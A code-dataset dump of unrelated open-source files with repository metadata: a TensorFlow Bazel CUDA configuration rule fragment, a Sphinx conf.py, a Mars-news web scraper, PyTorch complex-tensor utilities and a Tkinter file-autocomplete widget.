find_result = _execute( repository_ctx, ["cmd.exe", "/c", "dir", src_dir, "/b", "/s", "/a-d"], empty_stdout_fine=True) # src_files will be used in genrule.outs where the paths must # use forward slashes. result = find_result.stdout.replace("\\", "/") else: find_result = _execute( repository_ctx, ["find", src_dir, "-follow", "-type", "f"], empty_stdout_fine=True) result = find_result.stdout return result def _use_cuda_clang(repository_ctx): if "TF_CUDA_CLANG" in repository_ctx.os.environ: enable_cuda = repository_ctx.os.environ["TF_CUDA_CLANG"].strip() return enable_cuda == "1" return False def _compute_cuda_extra_copts(repository_ctx, compute_capabilities): if _use_cuda_clang(repository_ctx): capability_flags = ["--cuda-gpu-arch=sm_" + cap.replace(".", "") for cap in compute_capabilities] else: # Capabilities are handled in the "crosstool_wrapper_driver_is_not_gcc" for nvcc capability_flags = [] return str(capability_flags) def _create_local_cuda_repository(repository_ctx): """Creates the repository containing files set up to build with CUDA.""" cuda_config = _get_cuda_config(repository_ctx) cudnn_header_dir = _find_cudnn_header_dir(repository_ctx, cuda_config.cudnn_install_basedir) # Set up symbolic links for the cuda toolkit by creating genrules to do # symlinking. We create one genrule for each directory we want to track under # cuda_toolkit_path cuda_toolkit_path = cuda_config.cuda_toolkit_path cuda_include_path = cuda_toolkit_path + "/include" genrules = [_symlink_genrule_for_dir(repository_ctx, cuda_include_path, "include", "cuda-include")] genrules.append(_symlink_genrule_for_dir(repository_ctx, cuda_toolkit_path + "/nvvm", "nvvm", "cuda-nvvm")) genrules.append(_symlink_genrule_for_dir(repository_ctx, cuda_toolkit_path + "/extras/CUPTI/include", "extras/CUPTI/include", "cuda-extras")) cuda_libs = _find_libs(repository_ctx, cuda_config) cuda_lib_src = [] cuda_lib_dest = [] for lib in cuda_libs.values(): cuda_lib_src.append(lib.path) cuda_lib_dest.append("lib/" + lib.file_name) genrules.append(_symlink_genrule_for_dir(repository_ctx, None, "", "cuda-lib", cuda_lib_src, cuda_lib_dest)) # Set up the symbolic links for cudnn if cudnn was was not installed to # CUDA_TOOLKIT_PATH. included_files = _read_dir(repository_ctx, cuda_include_path).replace( cuda_include_path, '').splitlines() if '/cudnn.h' not in included_files: genrules.append(_symlink_genrule_for_dir(repository_ctx, None, "include/", "cudnn-include", [cudnn_header_dir + "/cudnn.h"], ["cudnn.h"])) else: genrules.append( 'filegroup(\n' + ' name = "cudnn-include",\n' + ' srcs = [],\n' + ')\n' ) # Set up BUILD file for cuda/ _tpl(repository_ctx, "cuda:build_defs.bzl", { "%{cuda_is_configured}": "True", "%{cuda_extra_copts}": _compute_cuda_extra_copts( repository_ctx, cuda_config.compute_capabilities), }) _tpl(repository_ctx, "cuda:BUILD", { "%{cuda_driver_lib}": cuda_libs["cuda"].file_name, "%{cudart_static_lib}": cuda_libs["cudart_static"].file_name, "%{cudart_static_linkopt}": _cudart_static_linkopt( cuda_config.cpu_value), "%{cudart_lib}": cuda_libs["cudart"].file_name, "%{cublas_lib}": cuda_libs["cublas"].file_name, "%{cusolver_lib}": cuda_libs["cusolver"].file_name, "%{cudnn_lib}": cuda_libs["cudnn"].file_name, "%{cufft_lib}": cuda_libs["cufft"].file_name, "%{curand_lib}": cuda_libs["curand"].file_name, "%{cupti_lib}": cuda_libs["cupti"].file_name, "%{cuda_include_genrules}": "\n".join(genrules), "%{cuda_headers}": ('":cuda-include",\n' + ' ":cudnn-include",') }) # Set up crosstool/ _file(repository_ctx, "crosstool:BUILD") cc = find_cc(repository_ctx) host_compiler_includes = _host_compiler_includes(repository_ctx, cc) cuda_defines = { "%{cuda_include_path}": _cuda_include_path(repository_ctx, cuda_config), "%{host_compiler_includes}": host_compiler_includes, } if _use_cuda_clang(repository_ctx): cuda_defines["%{clang_path}"] = cc _tpl(repository_ctx, "crosstool:CROSSTOOL_clang", cuda_defines, out="crosstool/CROSSTOOL") else: nvcc_path = str(repository_ctx.path("%s/bin/nvcc%s" % (cuda_config.cuda_toolkit_path, ".exe" if cuda_config.cpu_value == "Windows" else ""))) _tpl(repository_ctx, "crosstool:CROSSTOOL_nvcc", cuda_defines, out="crosstool/CROSSTOOL") _tpl(repository_ctx, "crosstool:clang/bin/crosstool_wrapper_driver_is_not_gcc", { "%{cpu_compiler}": str(cc), "%{cuda_version}": cuda_config.cuda_version, "%{nvcc_path}": nvcc_path, "%{gcc_host_compiler_path}": str(cc), "%{cuda_compute_capabilities}": ", ".join( ["\"%s\"" % c for c in cuda_config.compute_capabilities]), }) # Set up cuda_config.h, which is used by # tensorflow/stream_executor/dso_loader.cc. _tpl(repository_ctx, "cuda:cuda_config.h", { "%{cuda_version}": cuda_config.cuda_version, "%{cudnn_version}": cuda_config.cudnn_version, "%{cuda_compute_capabilities}": ",".join( ["CudaVersion(\"%s\")" % c for c in cuda_config.compute_capabilities]), "%{cuda_toolkit_path}": cuda_config.cuda_toolkit_path, }) def _create_remote_cuda_repository(repository_ctx, remote_config_repo): """Creates pointers to a remotely configured repo set up to build with CUDA.""" _tpl(repository_ctx, "cuda:build_defs.bzl", { "%{cuda_is_configured}": "True", "%{cuda_extra_copts}": _compute_cuda_extra_copts( repository_ctx, _compute_capabilities(repository_ctx)), }) _tpl(repository_ctx, "cuda:remote.BUILD", { "%{remote_cuda_repo}": remote_config_repo, }, "cuda/BUILD") _tpl(repository_ctx, "crosstool:remote.BUILD", { "%{remote_cuda_repo}": remote_config_repo, }, "crosstool/BUILD") def _cuda_autoconf_impl(repository_ctx): """Implementation of the cuda_autoconf repository rule.""" if not _enable_cuda(repository_ctx): _create_dummy_repository(repository_ctx) else: if _TF_CUDA_CONFIG_REPO in repository_ctx.os.environ: _create_remote_cuda_repository(repository_ctx, repository_ctx.os.environ[_TF_CUDA_CONFIG_REPO]) elif repository_ctx.attr.remote_config_repo != "": _create_remote_cuda_repository(repository_ctx, repository_ctx.attr.remote_config_repo) else: _create_local_cuda_repository(repository_ctx) cuda_configure = repository_rule( implementation = _cuda_autoconf_impl, attrs = { "remote_config_repo": attr.string(mandatory = False, default =""), }, environ = [ _GCC_HOST_COMPILER_PATH, "TF_NEED_CUDA", _CUDA_TOOLKIT_PATH, _CUDNN_INSTALL_PATH, _TF_CUDA_VERSION, _TF_CUDNN_VERSION, _TF_CUDA_COMPUTE_CAPABILITIES, _TF_CUDA_CONFIG_REPO, ], ) """Detects and configures the local CUDA toolchain. Add the following to your WORKSPACE FILE: ```python cuda_configure( name = "local_config_cuda" remote_config_repo = "@remote_cuda_config_tf//" ) ``` Args: name: A unique name for this workspace rule. remote_config_repo: Location of a pre-generated config (optional). """

38.155285

102

0.685667

c22e7d51fcf664ed54930eb8e3af70acc6a49a2b

9,552

py

Python

docs/conf.py

deprecated/nebulio

8548d9f44117206e9314d676576b24c1bc5e1c76

[ "MIT" ]

null

docs/conf.py

deprecated/nebulio

8548d9f44117206e9314d676576b24c1bc5e1c76

[ "MIT" ]

null

docs/conf.py

deprecated/nebulio

8548d9f44117206e9314d676576b24c1bc5e1c76

[ "MIT" ]

null

# -*- coding: utf-8 -*- # # nebulio documentation build configuration file, created by # sphinx-quickstart on Mon Aug 4 12:54:36 2014. from __future__ import print_function # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ----------------------------------------------------- # Not yet 06 Aug 2014 # from astropy.sphinx.conf import * # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode', 'numpydoc'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'nebulio' copyright = u'2014, Author' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # import pkg_resources try: release = pkg_resources.get_distribution('nebulio').version except pkg_resources.DistributionNotFound: print ('To build the documentation, The distribution information of sandman') print ('Has to be available. Either install the package into your' ) print ('development environment or run "setup.py develop" to setup the' ) print ('metadata. A virtualenv is recommended!' ) sys.exit(1) del pkg_resources version = '.'.join(release.split('.')[:2]) # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme_path = ["_themes"] html_theme = 'bootstrap-astrowill' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'nebuliodoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'nebulio.tex', u'nebulio Documentation', u'Author', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'nebulio', u'nebulio Documentation', [u'Author'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'nebulio', u'nebulio Documentation', u'Author', 'nebulio', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # -- Options for Epub output --------------------------------------------------- # Bibliographic Dublin Core info. epub_title = u'nebulio' epub_author = u'Author' epub_publisher = u'Author' epub_copyright = u'2014, Author' # The language of the text. It defaults to the language option # or en if the language is not set. #epub_language = '' # The scheme of the identifier. Typical schemes are ISBN or URL. #epub_scheme = '' # The unique identifier of the text. This can be a ISBN number # or the project homepage. #epub_identifier = '' # A unique identification for the text. #epub_uid = '' # A tuple containing the cover image and cover page html template filenames. #epub_cover = () # HTML files that should be inserted before the pages created by sphinx. # The format is a list of tuples containing the path and title. #epub_pre_files = [] # HTML files shat should be inserted after the pages created by sphinx. # The format is a list of tuples containing the path and title. #epub_post_files = [] # A list of files that should not be packed into the epub file. #epub_exclude_files = [] # The depth of the table of contents in toc.ncx. #epub_tocdepth = 3 # Allow duplicate toc entries. #epub_tocdup = True

31.84

82

0.712207

6a64b6e43de0cc5c8260731e12577726d42db5c1

3,396

py

Python

Mission-to-Mars/scrape_mars.py

tamerfa/Mission-to-Mars

116e8dd63c9f3f2803eec723f50f57909216c7e6

[ "ADSL" ]

null

Mission-to-Mars/scrape_mars.py

tamerfa/Mission-to-Mars

116e8dd63c9f3f2803eec723f50f57909216c7e6

[ "ADSL" ]

null

Mission-to-Mars/scrape_mars.py

tamerfa/Mission-to-Mars

116e8dd63c9f3f2803eec723f50f57909216c7e6

[ "ADSL" ]

null

# Importing dependencies from splinter import Browser from bs4 import BeautifulSoup as bs from webdriver_manager.chrome import ChromeDriverManager import time import pandas as pd def scrape(): # Initiate browser executable_path = {'executable_path':ChromeDriverManager().install()} browser = Browser('chrome',**executable_path, headless=False) # Defining a dictionary to collect all scraped data mars_dict = {} # Scraping 'Nasa Mars News' site nasa_url = 'https://redplanetscience.com/' browser.visit(nasa_url) html = browser.html soup = bs(html, 'html.parser') news_title = soup.find('div', class_= 'content_title').text news_p = soup.find('div', class_= 'article_teaser_body').text # Adding 'Nasa Mars News' data to mars_dict mars_dict['news_title'] = news_title mars_dict['news_p'] = news_p # Scraping 'JPL Mars Space Images' featured image jpl_url = 'https://spaceimages-mars.com/' browser.visit(jpl_url) html = browser.html soup = bs(html, 'html.parser') featured_image = soup.find('img', class_= 'headerimage') relative_image_url = featured_image['src'] featured_image_url = jpl_url+relative_image_url # Adding JPL's 'featured_image_url' data to mars_dict mars_dict['featured_image_url'] = featured_image_url # Scraping 'Mars Facts' using pandas facts_url = 'https://galaxyfacts-mars.com/' tables_list = pd.read_html(facts_url) # Required table is the first table in the list table_df = tables_list[0] table_df.columns = ['Description', 'Mars', 'Earth'] table_df.set_index('Description', inplace=True) # Save the table to an html file html_table = table_df.to_html() html_table = html_table.replace('\n','') html_table = html_table.replace('class="dataframe', 'class="table table-striped table-bordered') html_table = html_table.replace('style="text-align: right;"', 'style="text-align: center;"') # Adding 'Mars Facts' table to mars_dict mars_dict['facts'] = html_table # Scraping 'Mars Hemispheres' hem_url = 'https://marshemispheres.com/' browser.visit(hem_url) html = browser.html soup = bs(html, 'html.parser') # Getting a list for the links to be clicked clickables = soup.find_all('a', class_='itemLink product-item') # clickables contain duplicate links, keep only the ones that contain text links = [] for link in clickables: if link.text: links.append(link) # Delete unneeded last element of links links.pop() # Defining a list to collect data hemisphere_image_urls = [] for link in links: hem_dict = {} link_text = link.find('h3').text hem_dict['title'] = link_text #Click to visit the image page browser.links.find_by_partial_text(link_text).click() time.sleep(1) html = browser.html soup = bs(html, 'html.parser') img_section = soup.find('div', class_='downloads') hem_dict['img_url'] = hem_url + img_section.find('a', text='Sample')['href'] hemisphere_image_urls.append(hem_dict) # Going back to the previous page browser.back() time.sleep(1) browser.quit() # Adding 'Mars hemishperes' data to mars_dict mars_dict['hemishperes'] = hemisphere_image_urls return mars_dict

30.594595

100

0.673145

8c4ab07559fc72991a94c3b51d05f7cd777e9186

5,799

py

Python

piqa/utils/complex.py

charltongroves/piqa

63817eeda165563efe5adfc789295ec7908c0201

[ "MIT" ]

null

piqa/utils/complex.py

charltongroves/piqa

63817eeda165563efe5adfc789295ec7908c0201

[ "MIT" ]

null

piqa/utils/complex.py

charltongroves/piqa

63817eeda165563efe5adfc789295ec7908c0201

[ "MIT" ]

null

r"""Differentiable and JITable complex tensor API """ import torch def complex(real: torch.Tensor, imag: torch.Tensor) -> torch.Tensor: r"""Returns a complex tensor with its real part equal to $\Re$ and its imaginary part equal to $\Im$. $$ c = \Re + i \Im $$ Args: real: A tensor $\Re$, $(*,)$. imag: A tensor $\Im$, $(*,)$. Returns: The complex tensor, $(*, 2)$. Example: >>> x = torch.tensor([2., 0.7071]) >>> y = torch.tensor([0., 0.7071]) >>> complex(x, y) tensor([[2.0000, 0.0000], [0.7071, 0.7071]]) """ return torch.stack([real, imag], dim=-1) def real(x: torch.Tensor) -> torch.Tensor: r"""Returns the real part of $x$. Args: x: A complex tensor, $(*, 2)$. Returns: The real tensor, $(*,)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> real(x) tensor([2.0000, 0.7071]) """ return x[..., 0] def imag(x: torch.Tensor) -> torch.Tensor: r"""Returns the imaginary part of $x$. Args: x: A complex tensor, $(*, 2)$. Returns: The imaginary tensor, $(*,)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> imag(x) tensor([0.0000, 0.7071]) """ return x[..., 1] def conj(x: torch.Tensor) -> torch.Tensor: r"""Returns the element-wise conjugate of $x$. $$ \bar{x} = \Re(x) - i \Im(x) $$ Args: x: A complex tensor, $(*, 2)$. Returns: The conjugate tensor, $(*, 2)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> conj(x) tensor([[ 2.0000, -0.0000], [ 0.7071, -0.7071]]) """ return x * torch.tensor([1., -1.]).to(x) def turn(x: torch.Tensor) -> torch.Tensor: r"""Returns the element-wise product of $x$ with $i$. $$ i x = -\Im(x) + i \Re(x) $$ Args: x: A complex tensor, $(*, 2)$. Returns: The turned tensor, $(*, 2)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> turn(x) tensor([[-0.0000, 2.0000], [-0.7071, 0.7071]]) """ return complex(-imag(x), real(x)) def polar(r: torch.Tensor, phi: torch.Tensor) -> torch.Tensor: r"""Returns a complex tensor with its modulus equal to $r$ and its phase equal to $\phi$. $$ c = r \exp(i \phi) $$ Args: r: A tensor $r$, $(*,)$. phi: A tensor $\phi$, $(*,)$. Returns: The complex tensor, $(*, 2)$. Example: >>> x = torch.tensor([2., 1.]) >>> y = torch.tensor([0., 0.7854]) >>> polar(x, y) tensor([[2.0000, 0.0000], [0.7071, 0.7071]]) """ return complex(r * torch.cos(phi), r * torch.sin(phi)) def mod(x: torch.Tensor, squared: bool = False) -> torch.Tensor: r"""Returns the modulus (absolute value) of $x$. $$ \left| x \right| = \sqrt{ \Re(x)^2 + \Im(x)^2 } $$ Args: x: A complex tensor, $(*, 2)$. squared: Whether the output is squared or not. Returns: The modulus tensor, $(*,)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> mod(x) tensor([2.0000, 1.0000]) """ x = x.square().sum(dim=-1) if not squared: x = torch.sqrt(x) return x def angle(x: torch.Tensor) -> torch.Tensor: r"""Returns the angle (phase) of $x$. $$ \phi(x) = \operatorname{atan2}(\Im(x), \Re(x)) $$ Args: x: A complex tensor, $(*, 2)$. Returns: The angle tensor, $(*,)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> angle(x) tensor([0.0000, 0.7854]) """ return torch.atan2(x[..., 1], x[..., 0]) def prod(x: torch.Tensor, y: torch.Tensor) -> torch.Tensor: r"""Returns the element-wise product of $x$ and $y$. $$ x y = \Re(x) \Re(y) - \Im(x) \Im(y) + i \left( \Re(x) \Im(y) - \Im(x) \Re(y) \right) $$ Args: x: A complex tensor, $(*, 2)$. y: A complex tensor, $(*, 2)$. Returns: The product tensor, $(*, 2)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> y = torch.tensor([[2., -0.], [0.7071, -0.7071]]) >>> prod(x, y) tensor([[4.0000, 0.0000], [1.0000, 0.0000]]) """ x_r, x_i = x[..., 0], x[..., 1] y_r, y_i = y[..., 0], y[..., 1] return complex(x_r * y_r - x_i * y_i, x_i * y_r + x_r * y_i) def dot(x: torch.Tensor, y: torch.Tensor) -> torch.Tensor: r"""Returns the element-wise dot-product of $x$ and $y$. $$ x \odot y = \Re(x) \Re(y) + \Im(x) \Im(y) $$ Args: x: A complex tensor, $(*, 2)$. y: A complex tensor, $(*, 2)$. Returns: The dot-product tensor, $(*,)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> y = torch.tensor([[2., -0.], [0.7071, -0.7071]]) >>> dot(x, y) tensor([4., 0.]) """ return (x * y).sum(dim=-1) def pow(x: torch.Tensor, exponent: float) -> torch.Tensor: r"""Returns the power of $x$ with `exponent`. $$ x^p = \left| x \right|^p \exp(i \phi(x))^p $$ Args: x: A complex tensor, $(*, 2)$. exponent: The exponent $p$. Returns: The power tensor, $(*, 2)$. Example: >>> x = torch.tensor([[2., 0.], [0.7071, 0.7071]]) >>> pow(x, 2.) tensor([[ 4.0000e+00, 0.0000e+00], [-4.3711e-08, 9.9998e-01]]) """ r = mod(x, squared=True) ** (exponent / 2) phi = angle(x) * exponent return polar(r, phi)

23.103586

72

0.459907

82e5834fde2f8a5a129e78d0aef493adfdd8b1ee

12,116

py

Python

recipes/Python/580771_Tkinter_file_autocomplete_entry/recipe-580771.py

tdiprima/code

61a74f5f93da087d27c70b2efe779ac6bd2a3b4f

[ "MIT" ]

2,023

2017-07-29T09:34:46.000Z

2022-03-24T08:00:45.000Z

recipes/Python/580771_Tkinter_file_autocomplete_entry/recipe-580771.py

unhacker/code

73b09edc1b9850c557a79296655f140ce5e853db

[ "MIT" ]

32

2017-09-02T17:20:08.000Z

2022-02-11T17:49:37.000Z

recipes/Python/580771_Tkinter_file_autocomplete_entry/recipe-580771.py

unhacker/code

73b09edc1b9850c557a79296655f140ce5e853db

[ "MIT" ]

780

2017-07-28T19:23:28.000Z

2022-03-25T20:39:41.000Z

# Author: Miguel Martinez Lopez # Version: 0.6 import re import os try: from Tkinter import StringVar, Entry, Frame, Listbox, Button, Scrollbar from Tkconstants import * except ImportError: from tkinter import StringVar, Entry, Frame, Listbox, Button, Scrollbar from tkinter.constants import * try: from tkFileDialog import * except ImportError: from tkinter.filedialog import * def autoscroll(sbar, first, last): """Hide and show scrollbar as needed.""" first, last = float(first), float(last) if first <= 0 and last >= 1: sbar.grid_remove() else: sbar.grid() sbar.set(first, last) class Combobox_Autocomplete(Entry, object): def __init__(self, master, list_of_items=None, autocomplete_function=None, listbox_width=None, listbox_height=7, ignorecase_match=False, startswith_match=True, vscrollbar=True, hscrollbar=True, **kwargs): if hasattr(self, "autocomplete_function"): if autocomplete_function is not None: raise ValueError("Combobox_Autocomplete subclass has 'autocomplete_function' implemented") else: if autocomplete_function is not None: self.autocomplete_function = autocomplete_function else: if list_of_items is None: raise ValueError("If not guiven complete function, list_of_items can't be 'None'") if ignorecase_match: if startswith_match: def matches_function(entry_data, item): return item.startswith(entry_data) else: def matches_function(entry_data, item): return item in entry_data self.autocomplete_function = lambda entry_data: [item for item in self.list_of_items if matches_function(entry_data, item)] else: if startswith_match: def matches_function(escaped_entry_data, item): if re.match(escaped_entry_data, item, re.IGNORECASE): return True else: return False else: def matches_function(escaped_entry_data, item): if re.search(escaped_entry_data, item, re.IGNORECASE): return True else: return False def autocomplete_function(entry_data): escaped_entry_data = re.escape(entry_data) return [item for item in self.list_of_items if matches_function(escaped_entry_data, item)] self.autocomplete_function = autocomplete_function self._listbox_height = int(listbox_height) self._listbox_width = listbox_width self.list_of_items = list_of_items self._use_vscrollbar = vscrollbar self._use_hscrollbar = hscrollbar kwargs.setdefault("background", "white") if "textvariable" in kwargs: self._entry_var = kwargs["textvariable"] else: self._entry_var = kwargs["textvariable"] = StringVar() Entry.__init__(self, master, **kwargs) self._trace_id = self._entry_var.trace('w', self._on_change_entry_var) self._listbox = None self.bind("<Tab>", self._on_tab) self.bind("<Up>", self._previous) self.bind("<Down>", self._next) self.bind('<Control-n>', self._next) self.bind('<Control-p>', self._previous) self.bind("<Return>", self._update_entry_from_listbox) self.bind("<Escape>", lambda event: self.unpost_listbox()) def _on_tab(self, event): self.post_listbox() return "break" def _on_change_entry_var(self, name, index, mode): entry_data = self._entry_var.get() if entry_data == '': self.unpost_listbox() self.focus() else: values = self.autocomplete_function(entry_data) if values: if self._listbox is None: self._build_listbox(values) else: self._listbox.delete(0, END) height = min(self._listbox_height, len(values)) self._listbox.configure(height=height) for item in values: self._listbox.insert(END, item) else: self.unpost_listbox() self.focus() def _build_listbox(self, values): listbox_frame = Frame() self._listbox = Listbox(listbox_frame, background="white", selectmode=SINGLE, activestyle="none", exportselection=False) self._listbox.grid(row=0, column=0,sticky = N+E+W+S) self._listbox.bind("<ButtonRelease-1>", self._update_entry_from_listbox) self._listbox.bind("<Return>", self._update_entry_from_listbox) self._listbox.bind("<Escape>", lambda event: self.unpost_listbox()) self._listbox.bind('<Control-n>', self._next) self._listbox.bind('<Control-p>', self._previous) if self._use_vscrollbar: vbar = Scrollbar(listbox_frame, orient=VERTICAL, command= self._listbox.yview) vbar.grid(row=0, column=1, sticky=N+S) self._listbox.configure(yscrollcommand= lambda f, l: autoscroll(vbar, f, l)) if self._use_hscrollbar: hbar = Scrollbar(listbox_frame, orient=HORIZONTAL, command= self._listbox.xview) hbar.grid(row=1, column=0, sticky=E+W) self._listbox.configure(xscrollcommand= lambda f, l: autoscroll(hbar, f, l)) listbox_frame.grid_columnconfigure(0, weight= 1) listbox_frame.grid_rowconfigure(0, weight= 1) x = -self.cget("borderwidth") - self.cget("highlightthickness") y = self.winfo_height()-self.cget("borderwidth") - self.cget("highlightthickness") if self._listbox_width: width = self._listbox_width else: width=self.winfo_width() listbox_frame.place(in_=self, x=x, y=y, width=width) height = min(self._listbox_height, len(values)) self._listbox.configure(height=height) for item in values: self._listbox.insert(END, item) def post_listbox(self): if self._listbox is not None: return entry_data = self._entry_var.get() if entry_data == '': return values = self.autocomplete_function(entry_data) if values: self._build_listbox(values) def unpost_listbox(self): if self._listbox is not None: self._listbox.master.destroy() self._listbox = None def get_value(self): return self._entry_var.get() def set_value(self, text, close_dialog=False): self._set_var(text) if close_dialog: self.unpost_listbox() self.icursor(END) self.xview_moveto(1.0) def _set_var(self, text): self._entry_var.trace_vdelete("w", self._trace_id) self._entry_var.set(text) self._trace_id = self._entry_var.trace('w', self._on_change_entry_var) def _update_entry_from_listbox(self, event): if self._listbox is not None: current_selection = self._listbox.curselection() if current_selection: text = self._listbox.get(current_selection) self._set_var(text) self._listbox.master.destroy() self._listbox = None self.focus() self.icursor(END) self.xview_moveto(1.0) return "break" def _previous(self, event): if self._listbox is not None: current_selection = self._listbox.curselection() if len(current_selection)==0: self._listbox.selection_set(0) self._listbox.activate(0) else: index = int(current_selection[0]) self._listbox.selection_clear(index) if index == 0: index = END else: index -= 1 self._listbox.see(index) self._listbox.selection_set(first=index) self._listbox.activate(index) return "break" def _next(self, event): if self._listbox is not None: current_selection = self._listbox.curselection() if len(current_selection)==0: self._listbox.selection_set(0) self._listbox.activate(0) else: index = int(current_selection[0]) self._listbox.selection_clear(index) if index == self._listbox.size() - 1: index = 0 else: index +=1 self._listbox.see(index) self._listbox.selection_set(index) self._listbox.activate(index) return "break" class File_Entry(Frame, object): def __init__(self, master, ask_dialog = askopenfilename, width=30, **dialog_options): Frame.__init__(self, master) self._file_autocomplete = Combobox_Autocomplete(self, width=width, autocomplete_function=self._autocomplete_function) self._file_autocomplete.pack(side=LEFT) button_size = self._file_autocomplete.winfo_reqheight() button_frame = Frame(self, height=button_size, width=button_size) button_frame.pack(side=LEFT, padx=(3,0)) button_frame.pack_propagate(0) Button(button_frame, text="...", command=self._open_dialog).pack(fill=BOTH, expand=True) self._ask_dialog = ask_dialog self._dialog_options = dialog_options @property def path(self): return self._file_autocomplete.get_value() def focus(self): self._file_autocomplete.focus() def _open_dialog(self): filename = self._ask_dialog(**self._dialog_options) self._file_autocomplete.set_value(filename, close_dialog=True) def _autocomplete_function(self, base_path): try: base_path = os.path.normcase(base_path) if base_path.endswith(os.path.sep) and os.path.isdir(base_path): list_of_paths = [] for filename in os.listdir(base_path): file_path = os.path.join(base_path, filename) if os.path.isdir(file_path): file_path += os.sep list_of_paths.append(file_path) list_of_paths.sort() return list_of_paths else: current_directory, prefix = os.path.split(base_path) if not os.path.isdir(current_directory): return None list_of_paths = [] for filename in os.listdir(current_directory): filename = os.path.normcase(filename) if filename.startswith(prefix): file_path = os.path.join(current_directory, filename) if os.path.isdir(file_path): file_path += os.sep list_of_paths.append(file_path) list_of_paths.sort() return list_of_paths except os.error: return None if __name__ == '__main__': try: from Tkinter import Tk except ImportError: from tkinter import Tk root = Tk() root.geometry("300x200") file_entry = File_Entry(root) file_entry.pack() file_entry.focus() root.mainloop()

35.017341

208

0.569742

aeaa135059270c550573096800162fd64d09fe62

3,982

py

Python

mojo/tools/mopy/gn.py

rafaelw/mojo

d3495a129dcbe679e2d5ac729c85a58acf38f8c4

[ "BSD-3-Clause" ]

5
